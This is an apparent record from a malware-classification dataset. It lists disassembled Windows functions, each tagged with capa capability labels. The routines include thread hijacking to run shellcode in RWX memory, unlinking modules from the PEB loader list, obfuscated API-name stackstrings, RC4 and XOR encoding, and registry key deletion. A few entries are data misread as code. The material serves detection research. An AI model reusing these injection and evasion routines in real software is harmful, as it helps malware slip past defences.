joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010c50
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013e56
mov eax, dword fs:[0]
push eax
sub esp, 0x650
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], edx
mov ebx, ecx
mov eax, dword [0x1001a1ec]
mov dword [ebp - 0x1c], eax
mov ax, word [0x1001a1f0]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x624]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10010da9
lea esi, [ebp - 0x624]
nop dword [eax + eax]
mov ax, word [esi]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x224]
push 0x104
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10010d95
xor eax, eax
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], 0
mov word [ebp - 0x63c], ax
cmp word [ebx], ax
jne 0x10010d0b
xor ecx, ecx
jmp 0x10010d1f
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10010d10
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x63c]
call fcn.100122b0
mov dword [ebp - 4], 0
cmp word [ebp - 0x224], 0
jne 0x10010d41
xor ecx, ecx
jmp 0x10010d5f
lea ecx, [ebp - 0x224]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10010d50
sub ecx, edx
sar ecx, 1
push ecx
push ecx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x63c]
call fcn.10011790
mov edi, eax
cmp edi, 0xffffffff
jne 0x10010dc7
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x628]
cmp eax, 8
jb 0x10010d95
inc eax
push eax
push dword [ebp - 0x63c]
call fcn.10012150
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10010d95
cmp word [esi], ax
jne 0x10010cc0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10012754
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x654]
call fcn.100123b0
mov byte [ebp - 4], 1
cmp word [esi], 0
mov ebx, dword [eax + 0x10]
jne 0x10010dea
xor ecx, ecx
jmp 0x10010dff
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10010df0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea eax, [ebx + 1]
push eax
push edi
lea ecx, [ebp - 0x63c]
call fcn.10011870
mov eax, dword [ebp - 0x640]
cmp eax, 8
jb 0x10010e29
inc eax
push eax
push dword [ebp - 0x654]
call fcn.10012150
cmp dword [ebp - 0x628], 8
lea eax, [ebp - 0x63c]
cmovae eax, dword [ebp - 0x63c]
push eax
push 0x104
push dword [ebp - 0x658]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov eax, dword [ebp - 0x628]
add esp, 0xc
cmp eax, 8
jb 0x10010e6a
inc eax
push eax
push dword [ebp - 0x63c]
call fcn.10012150
mov al, 1
jmp 0x10010dab
Function at 0x10010f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x10010fc0
cmp edx, 0x20
jb 0x10010fab
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10010f69
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x1001a260]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10010f80
pop edi
cmp eax, edx
jge 0x10010fc0
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10010fb0
pop esi
pop ebx
pop ebp
ret

Function at 0x10010fd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x10011060
cmp edx, 0x20
jb 0x1001104b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10011009
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x1001a260]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10011020
pop edi
cmp eax, edx
jge 0x10011060
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10011050
pop esi
pop ebx
pop ebp
ret

Function at 0x10011340
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x101294c0
mov esi, ecx
call sub.VCRUNTIME140.dll_memset
movaps xmm1, xmmword [0x1001a250]
add esp, 0xc
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_feeeeeeeeeeeeeeee]
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x100167d0]
pop esi
movups xmm0, xmmword [ecx + eax - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x101294c0], xmm0
movups xmm0, xmmword [ecx + eax]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x101294d0], xmm0
add eax, 0x20
cmp eax, 0x100
jb 0x10011371
mov eax, 0x101294c0
ret
Function at 0x100115c0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1001e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov edx, 0xd6
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x2f4], eax
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x1001a210]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x100115f0
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
push 0x3f6626b7
lea ecx, [ebp - 0x24]
call fcn.10011d40
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f8]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x2f4]
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012754
mov esp, ebp
pop ebp
ret 0x10

Function at 0x100116e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001172d
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10011731
cmp edx, esi
jne 0x10011716
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10011751
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10011755
cmp edx, esi
jne 0x1001173a
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10011775
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10011779
cmp edx, esi
jne 0x1001175e
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10012440
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1011e1bc]
sub esp, 8
push esi
mov esi, dword [0x1011e1b8]
cmp esi, eax
je 0x10012525
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
cmp byte [esi], 2
jne 0x10012489
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
lea eax, [esi + 1]
push eax
push connect
call ebx
mov edi, dword [ebp - 8]
test edi, edi
jne 0x1001249a
mov eax, dword [0x1011e1bc]
add esi, 0x105
cmp esi, eax
jne 0x10012462
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x1011e1bc]
xor ecx, ecx
mov esi, dword [0x1011e1b8]
mov eax, 0x7d8c42b3
mov dword [ebp - 4], ecx
mov ecx, ebx
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1001250d
xor edi, edi
cmp byte [edi + esi], 2
jne 0x100124e7
lea eax, [esi + 1]
add eax, edi
push eax
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [0x1011e1bc]
mov esi, dword [0x1011e1b8]
inc dword [ebp - 4]
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
add edi, 0x105
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 4], eax
jb 0x100124c4
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0
lea ecx, [edx + 6]
call fcn.10004e50
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10202130
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10214410], 0x795
mov dword [0x1021441c], 0
mov byte [0x10214420], 0
mov dword [0x10214418], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1020224c
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, 0xf92
mov esi, 0x100
mov dword [0x10214424], 0
mov dword [0x10214414], eax
mov eax, dword [0x1021441c]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + ecx]
add ebx, eax
mov eax, ecx
xor edi, edi
mov dword [ebp - 0x28], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add ebx, edx
mov dword [0x10214424], ebx
mov eax, ebx
cdq
idiv esi
mov dword [0x1021441c], edx
mov dword [0x10214410], 0x1e22
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov byte [0x10214420], bl
mov dword [0x10214410], 0x112f
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov bl, byte [0x10214420]
mov ecx, dword [0x1021441c]
mov byte [esi + ecx], bl
mov dword [0x10214410], 0xa8a
mov dword [0x10214414], 0xfffffb26
mov ecx, dword [0x10214418]
add ecx, 1
mov dword [0x10214418], ecx
cmp ecx, 0x100
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
jl 0x10202182
jmp 0x1020217a
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov dword [0x10214410], 0xc9a
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10214418]
add eax, 1
mov dword [0x10214418], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1020224c
mov dword [0x10214410], 0x9b7
mov dword [0x10214418], 0
mov eax, dword [0x10214414]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x146c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
jmp 0x10202182
Function at 0x10202c80
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [0x10214410], 0xa55
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x3c]
mov dword [0x10214410], 0xa74
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], eax
jmp 0x10202d7e
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
je 0x10202d6a
jmp 0x10202dfd
xor eax, eax
mov dword [0x10214410], 0xfffff436
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x18], eax
je 0x10202de5
jmp 0x10202dfd
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
setl cl
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x21], cl
mov al, byte [ebp - 0x21]
test al, 1
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x10], edx
jne 0x10202d7e
jmp 0x10202d32
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov dword [0x10214410], 0x21ff
mov edx, dword [0x10214414]
add edx, 0xfffffbd3
mov dword [0x10214414], edx
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
je 0x10202d99
jmp 0x10202dfd
mov dword [0x10214410], 0x12d7
mov eax, 1
mov dword [ebp - 0x18], eax
jmp 0x10202dfd
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], edx
je 0x10202d32
jmp 0x10202d07
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x18], eax
jne 0x10202dfd
xor eax, eax
mov dword [0x10214410], 0xfffffc44
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x18], eax
jne 0x10202dfd
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x18], eax
je 0x10202ce0
jmp 0x10202dfd
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x18], eax
je 0x10202cc3
mov eax, dword [ebp - 0x18]
add esp, 0x28
pop ebp
ret
Function at 0x10202e10
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dl, 0x6b
xor esi, esi
lea edi, [ebp - 0x6c]
lea ebx, [ebp - 0x2c]
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x8c], 0x56
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x72
mov byte [ebp - 0x89], 0x74
mov byte [ebp - 0x88], 0x75
mov byte [ebp - 0x87], 0x61
mov byte [ebp - 0x86], 0x6c
mov byte [ebp - 0x85], 0x41
mov byte [ebp - 0x84], 0x6c
mov byte [ebp - 0x83], 0x6c
mov byte [ebp - 0x82], 0x6f
mov byte [ebp - 0x81], 0x63
mov byte [ebp - 0x80], 0
mov byte [ebp - 0x7f], 0xae
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0xae
mov dword [0x10214414], 0xd93
mov dword [0x10214410], 0x642
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x9c], edi
mov byte [ebp - 0x9d], dl
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa8], esi
jmp 0x10203036
xor eax, eax
lea ecx, [ebp - 0x6c]
mov dword [0x10214414], 0x956
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [ebp - 0xac], eax
call fcn.102019d0
mov dword [esp], eax
mov eax, dword [ebp - 0x94]
mov dword [esp + 4], eax
call fcn.10201de0
xor ecx, ecx
mov edx, dword [0x10214414]
add edx, 0xffffe8c4
mov dword [0x10214414], edx
cmp eax, 0
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb4], ecx
je 0x10203070
mov eax, dword [ebp - 0xb0]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10214414], 0x1cc2
mov dword [esp], eax
mov ecx, dword [ebp - 0x90]
mov dword [esp + 4], ecx
mov dword [ebp - 0xb8], eax
call fcn.10201f90
xor eax, eax
mov ecx, dword [ebp - 0xb8]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x98]
mov dword [edx + 0x24], ecx
mov ecx, dword [ebp - 0xb8]
mov dword [edx + 0x4c], ecx
mov dword [0x10214410], 0x1b22
mov dword [0x10214414], 0x10
cmp ecx, 0
mov dword [ebp - 0xb4], eax
je 0x10203070
mov eax, dword [ebp - 0xb8]
add eax, 0x1db1
mov dword [ebp - 0xbc], eax
mov dword [0x10214410], 0x1d80
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xb4], eax
jmp 0x10203070
mov eax, dword [ebp - 0xa8]
mov cl, byte [ebp - 0x9d]
movsx edx, cl
mov si, dx
mov word [ebp + eax*2 - 0x6c], si
mov edx, eax
add edx, 1
mov cl, byte [ebp + eax - 0x2b]
cmp cl, 0
mov byte [ebp - 0x9d], cl
mov dword [ebp - 0xa8], edx
je 0x10202f09
jmp 0x10203036
mov eax, dword [ebp - 0xb4]
add esp, 0xc0
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10203200
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x10214418], 0
mov dword [0x1021441c], 0
mov dword [0x10214428], 0
mov dword [0x10214410], 0x1678
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x10203388
jmp 0x10203274
jmp 0x10203388
mov eax, dword [0x10214418]
mov ecx, dword [0x1021441c]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edx
jmp 0x10203285
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], eax
jmp 0x10203285
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, eax
add edi, 1
add ecx, 1
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x10214418], edx
mov ecx, dword [0x10214414]
mov ebx, ecx
add ebx, 0xffffe86c
mov dword [0x10214410], ebx
mov ebx, dword [ebp - 0x1c]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x34]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x3c], edx
cdq
idiv esi
mov dword [0x1021441c], edx
mov ecx, dword [ebp - 0x38]
add ecx, 0xffffe02d
mov dword [0x10214414], ecx
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x10214420], cl
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov dword [0x10214410], 0x12a7
mov cl, byte [0x10214420]
mov edx, dword [0x1021441c]
mov byte [ebx + edx], cl
mov edx, dword [0x10214418]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x1021441c]
movzx ecx, byte [ebx + ecx]
add ecx, edx
mov dword [0x10214410], 0x1110
and ecx, 0xff
mov dword [0x10214428], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x30]
mov ch, byte [edx + esi]
mov byte [0x1021442d], ch
mov byte [0x1021442e], cl
xor ch, cl
mov byte [0x1021442c], ch
mov edx, dword [ebp - 0x18]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x20], edi
je 0x10203256
jmp 0x1020325b
mov dword [0x10214410], 0x1361
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10203530
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xb0
lea eax, [esp + 0x40]
lea ecx, [esp + 0x50]
mov dword [0x10214410], 0xd9e
mov dword [esp], eax
mov dword [esp + 0x3c], ecx
call fcn.102022c0
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x94], ecx
mov dword [esp + 0x80], 0x134e00
mov ecx, dword [0x102143fc]
mov dword [esp + 0x5c], ecx
mov ecx, dword [0x10214400]
mov dword [esp + 0xa0], ecx
mov ecx, dword [0x10214404]
mov dword [esp + 0x84], ecx
mov ecx, dword [0x10214408]
mov dword [esp + 0x88], ecx
mov dword [0x10214410], 0x26c3
mov ecx, dword [0x1021440c]
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], ecx
mov eax, 0x1ae7
lea ecx, [0x10202c00]
mov edx, dword [esp + 0x34]
mov dword [esp + 0x6c], edx
mov dword [0x10214414], 0x29d7
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
jmp 0x10203659
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov dword [0x10214414], eax
mov dword [esp + 0x7c], ecx
mov dword [0x10214410], 0x1b01
mov eax, dword [ecx + edx + 0x50]
mov dword [esp + 0x8c], eax
call fcn.10202c80
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x1c], ecx
je 0x1020368f
jmp 0x102036cd
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
mov edx, dword [eax + ecx]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
cmp eax, 0x4550
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0xc]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], esi
je 0x102035e1
jmp 0x10203670
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
cmp word [eax], 0x5a4d
mov dword [esp + 0x18], eax
mov dword [esp + 0xc], ecx
je 0x10203622
mov eax, 0xf45
mov ecx, dword [esp + 0x18]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
jmp 0x10203659
lea eax, [esp + 0x50]
mov dword [0x10214410], 0x189e
mov ecx, dword [esp + 0x48]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10202e10
mov dword [0x10214414], 0x1d69
mov ecx, esp
lea edx, [esp + 0x50]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x47c6f8
Capabilities:
Encode data using xor

Disassembly:
imul edx, dword [edi], 0xffffffe7
pop ss
enter 0xffffffffffffd82d, 0x71
nop
push edi
das
enter 0xffffffffffffb780, 0x18
mov edx, 0x76e44905
add eax, 0x6eaca525
or byte [ecx], dh
mov word [ebp - 0x1f], fs
mov ch, 0x53
invalid

Function at 0x48a398
Capabilities:
Encode data using xor

Disassembly:
xchg esi, eax
rcl byte [edx - 0x42]
insb byte es:[edi], dx
mov al, 0xb1
test eax, 0xa166e821
and eax, ebp
mov ax, word [0xfb4a8fb6]

Function at 0x4baa54
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c4498
cmp edx, dword [eax]
je 0x4baa76
add eax, 8
inc ecx
cmp eax, 0x4c4528
jl 0x4baa67
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c4498]
jne 0x4baba4
mov eax, dword [0x4c6d3c]
cmp eax, 1
je 0x4bab7e
test eax, eax
jne 0x4baaa7
cmp dword [0x4c22dc], 1
je 0x4bab7e
cmp edx, 0xfc
je 0x4baba4
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4baade
lea eax, [ebp - 0x1a4]
push 0x4beb40
push eax
call fcn.004bbbc0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bbcb0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bab21
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bbcb0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4beb3c
push edi
call fcn.004bc670
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4beb20
push eax
call fcn.004bbbc0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bbbd0
lea eax, [ebp - 0xa0]
push 0x4beb1c
push eax
call fcn.004bbbd0
push dword [esi + 0x4c449c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bbbd0
push 0x12010
